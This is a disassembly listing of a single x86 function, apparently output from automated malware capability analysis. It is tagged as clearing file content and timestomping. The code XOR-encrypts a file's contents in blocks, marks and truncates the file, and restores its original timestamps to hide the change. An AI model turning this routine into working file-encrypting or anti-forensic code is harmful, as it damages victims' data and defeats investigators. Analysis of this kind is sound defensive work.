Function at 0x45ca0c
Capabilities:
Clear file content
Timestomp file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404f40
xor eax, eax
push ebp
push 0x45cd17
push dword fs:[eax]
mov dword fs:[eax], esp
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, 2
mov eax, dword [ebp - 4]
call fcn.00409228
mov dword [0x4bd770], eax
cmp dword [0x4bd770], 0
jge 0x45ca74
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
mov eax, dword [ebp - 4]
call fcn.0040937c
mov edx, 2
mov eax, dword [ebp - 4]
call fcn.00409228
mov dword [0x4bd770], eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [0x4bd770]
push eax
call sub.kernel32.dll_GetFileTime
test eax, eax
je 0x45cd01
nop
mov esi, 1
xor ebx, ebx
mov byte [ebp - 0x25], 0
mov dword [ebp - 0xc], 0x19
mov eax, dword [0x4b8c70]
mov edx, dword [ebp - 0xc]
call fcn.004051d8
mov eax, dword [0x4b8dc4]
mov dword [eax], 0x75bc371
mov ecx, 2
xor edx, edx
mov eax, dword [0x4bd770]
call fcn.004092d8
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0xc]
jl 0x45cb99
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [ebp - 0xc]
neg edx
mov ecx, 2
mov eax, dword [0x4bd770]
call fcn.004092d8
mov eax, dword [0x4b8c70]
call fcn.00404fa8
mov edx, eax
mov ecx, dword [ebp - 0xc]
mov eax, dword [0x4bd770]
call fcn.00409280
mov eax, dword [0x4b8c70]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
cmp byte [eax + edx - 1], 0x21
jne 0x45cb4b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [0x4b8c70]
call fcn.00404fa8
mov edx, dword [ebp - 0xc]
mov byte [eax + edx - 1], 0x20
mov bl, 1
mov eax, dword [0x4b8c70]
mov eax, dword [eax]
mov edx, 0x45cd2c
call fcn.00404e9c
sete byte [ebp - 0x25]
movzx eax, byte [0x4bc76c]
xor al, 1
and al, byte [ebp - 0x25]
je 0x45cb99
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [ebp - 0xc]
neg edx
mov ecx, 2
mov eax, dword [0x4bd770]
call fcn.004092d8
mov eax, dword [0x4bd770]
push eax
call sub.kernel32.dll_SetEndOfFile
xor ecx, ecx
xor edx, edx
mov eax, dword [0x4bd770]
call fcn.004092d8
movzx eax, byte [0x4bc76c]
cmp al, byte [ebp - 0x25]
je 0x45ccf6
nop
nop
cmp byte [ebp - 0x25], 0
je 0x45cbc5
mov byte [0x4bc76d], bl
mov edx, 0x4bc770
mov ecx, 0x1000
mov eax, dword [0x4bd770]
call fcn.00409280
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
test eax, eax
jle 0x45cc3e
mov dword [ebp - 0x2c], eax
mov ebx, 0x4bc770
nop
nop
nop
nop
mov eax, pe_nt_image_headers32
call fcn.00403144
mov edx, dword [0x4b8990]
mov edx, dword [edx]
movzx edx, byte [edx + esi - 1]
add eax, edx
and eax, 0x800000ff
jns 0x45cc16
dec eax
or eax, 0xffffff00
inc eax
xor byte [ebx], al
inc esi
mov eax, dword [0x4b8990]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
test eax, eax
je 0x45cc2f
sub eax, 4
mov eax, dword [eax]
cmp eax, esi
jge 0x45cc38
mov esi, 1
inc ebx
dec dword [ebp - 0x2c]
jne 0x45cbeb
mov edx, dword [ebp - 8]
neg edx
mov ecx, 1
mov eax, dword [0x4bd770]
call fcn.004092d8
mov edx, 0x4bc770
mov ecx, dword [ebp - 8]
mov eax, dword [0x4bd770]
call fcn.004092ac
cmp byte [0x4bc76d], 0
je 0x45cc7a
cmp dword [ebp - 8], 0x1000
jge 0x45cbc5
cmp byte [0x4bc76c], 0
je 0x45ccdf
cmp byte [ebp - 0x25], 0
jne 0x45ccdf
nop
nop
mov ecx, 2
xor edx, edx
mov eax, dword [0x4bd770]
call fcn.004092d8
mov eax, dword [0x4b8c70]
mov edx, 0x45cd2c
call fcn.00404ae0
cmp byte [0x4bc76d], 0
je 0x45ccc6
mov eax, dword [0x4b8c70]
call fcn.00404fa8
mov edx, dword [ebp - 0xc]
mov byte [eax + edx - 1], 0x21
mov eax, dword [0x4b8c70]
call fcn.00404fa8
mov edx, eax
mov ecx, dword [ebp - 0xc]
mov eax, dword [0x4bd770]
call fcn.004092ac
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [0x4bd770]
push eax
call sub.kernel32.dll_SetFileTime
mov eax, dword [0x4bd770]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45cd1e
lea eax, [ebp - 4]
call fcn.00404a8c
ret